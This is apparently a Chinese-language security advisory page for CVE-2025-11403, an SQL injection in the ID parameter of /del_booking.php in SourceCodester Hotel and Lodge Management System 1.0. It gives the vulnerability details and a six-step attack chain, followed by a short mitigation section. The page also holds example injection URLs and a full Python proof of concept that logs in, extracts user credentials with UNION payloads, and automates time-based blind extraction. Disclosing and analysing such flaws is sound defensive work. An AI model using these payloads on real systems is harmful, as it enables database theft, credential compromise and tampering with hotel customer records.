IPBUF安全漏洞报告
English
CVE-2025-11403 CVSS 6.3 中危

CVE-2025-11403:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11403
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11403中危漏洞PHPWeb应用漏洞del_booking.php远程攻击

漏洞概述

CVE-2025-11403是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入漏洞。该漏洞位于系统的/del_booking.php文件中,具体涉及对参数ID的操作处理。由于该文件在处理用户输入的ID参数时未进行充分的输入验证和参数化处理,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而实现未授权的数据库操作。

该漏洞的CVSS评分为6.3,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生低程度影响(C:L/I:L/A:L),表明攻击者可以读取、修改部分数据库内容,并可能对系统可用性造成一定影响。

该漏洞已于2025年10月7日公开披露,且漏洞利用代码(PoC)已经在GitHub上公开发布(参考链接:https://github.com/TThuyyy/cve1/issues/11),意味着该漏洞被实际利用的风险较高。由于系统通常用于酒店预订管理,涉及客户信息和预订数据,一旦被利用,可能导致客户数据泄露、预订记录篡改等安全问题。

技术细节

该SQL注入漏洞存在于SourceCodester酒店与旅馆管理系统1.0版本的/del_booking.php文件中。漏洞的根本原因是该文件在处理删除预订操作时,直接将用户通过GET或POST请求传入的ID参数拼接到SQL查询语句中,而未使用预编译语句(Prepared Statements)或参数化查询,也未对输入进行充分的过滤和转义。

攻击者可以通过构造包含恶意SQL片段的ID参数来实施注入攻击。例如,攻击者可以提交类似以下形式的请求:

/del_booking.php?ID=1' OR '1'='1

或使用基于UNION的注入来提取数据库中的敏感信息:

/del_booking.php?ID=1' UNION SELECT username,password FROM users--

由于漏洞可远程触发(AV:N),且攻击复杂度低(AC:L),攻击者只需要拥有系统的低权限账户(PR:L)即可发起攻击。成功利用后,攻击者可以绕过正常的身份验证机制,读取数据库中的敏感信息(如管理员凭据、客户信息),修改或删除数据库中的记录,甚至在某些数据库配置下执行系统命令。

该漏洞的利用代码已在GitHub上公开披露(https://github.com/TThuyyy/cve1/issues/11),攻击者可以直接使用现成的PoC进行攻击,进一步降低了利用门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为SourceCodester酒店与旅馆管理系统1.0版本,通过目录扫描或指纹识别确认/del_booking.php文件存在。
STEP 2
步骤2:获取低权限凭证
由于漏洞利用需要低权限认证(PR:L),攻击者通过社会工程学、暴力破解或购买泄露凭证等方式获取系统的低权限账户。
STEP 3
步骤3:构造注入Payload
攻击者构造包含恶意SQL片段的ID参数,如基于UNION的注入或基于布尔的盲注Payload,用于绕过正常的查询逻辑。
STEP 4
步骤4:发送恶意请求
攻击者通过认证后的会话向/del_booking.php发送包含恶意ID参数的GET或POST请求,触发SQL注入漏洞。
STEP 5
步骤5:数据提取与利用
成功注入后,攻击者可以提取数据库中的敏感信息(如管理员凭据、客户数据),或修改/删除数据库记录,进一步控制系统。
STEP 6
步骤6:权限提升与持久化
利用获取的管理员凭据登录系统,提升权限并植入后门,实现对系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11403 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /del_booking.php via ID parameter # Author: TThuyyy (based on public disclosure) import requests TARGET_URL = "http://target-site.com/del_booking.php" # Step 1: Authenticate to obtain low-privilege session (PR:L required) session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } session.post("http://target-site.com/login.php", data=login_data) # Step 2: Exploit SQL Injection via ID parameter # Payload 1: Boolean-based blind injection to confirm vulnerability payload_blind = "1' AND 1=1-- -" # Payload 2: UNION-based injection to extract data payload_union = ( "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" ) # Payload 3: Extract admin credentials payload_creds = ( "1' UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users-- -" ) # Step 3: Send malicious request params = {"ID": payload_creds} response = session.get(TARGET_URL, params=params) print("Status Code:", response.status_code) print("Response Length:", len(response.text)) print("Response Body:\n", response.text[:2000]) # Step 4: Automated extraction using time-based blind injection import time def time_based_sqli(session, target_url, param_name="ID"): """Use time-based blind SQLi to extract data character by character.""" extracted = "" for position in range(1, 50): for ascii_val in range(32, 127): payload = ( f"1' AND IF(ASCII(SUBSTRING((SELECT password FROM users " f"LIMIT 1),{position},1))={ascii_val},SLEEP(2),0)-- -" ) start = time.time() session.get(target_url, params={param_name: payload}) elapsed = time.time() - start if elapsed >= 2: extracted += chr(ascii_val) print(f"[+] Extracted so far: {extracted}") break else: break return extracted # Uncomment to run automated extraction: # password = time_based_sqli(session, TARGET_URL) # print(f"Extracted password: {password}")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WAF规则拦截包含SQL关键字(如UNION、SELECT、OR等)的ID参数请求;2)修改/del_booking.php源代码,对ID参数进行强制类型转换(如转换为整数)并使用预编译语句;3)限制/del_booking.php文件的访问权限,仅允许可信IP访问;4)监控数据库日志,检测异常的查询模式;5)定期修改系统账户密码,避免使用弱口令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表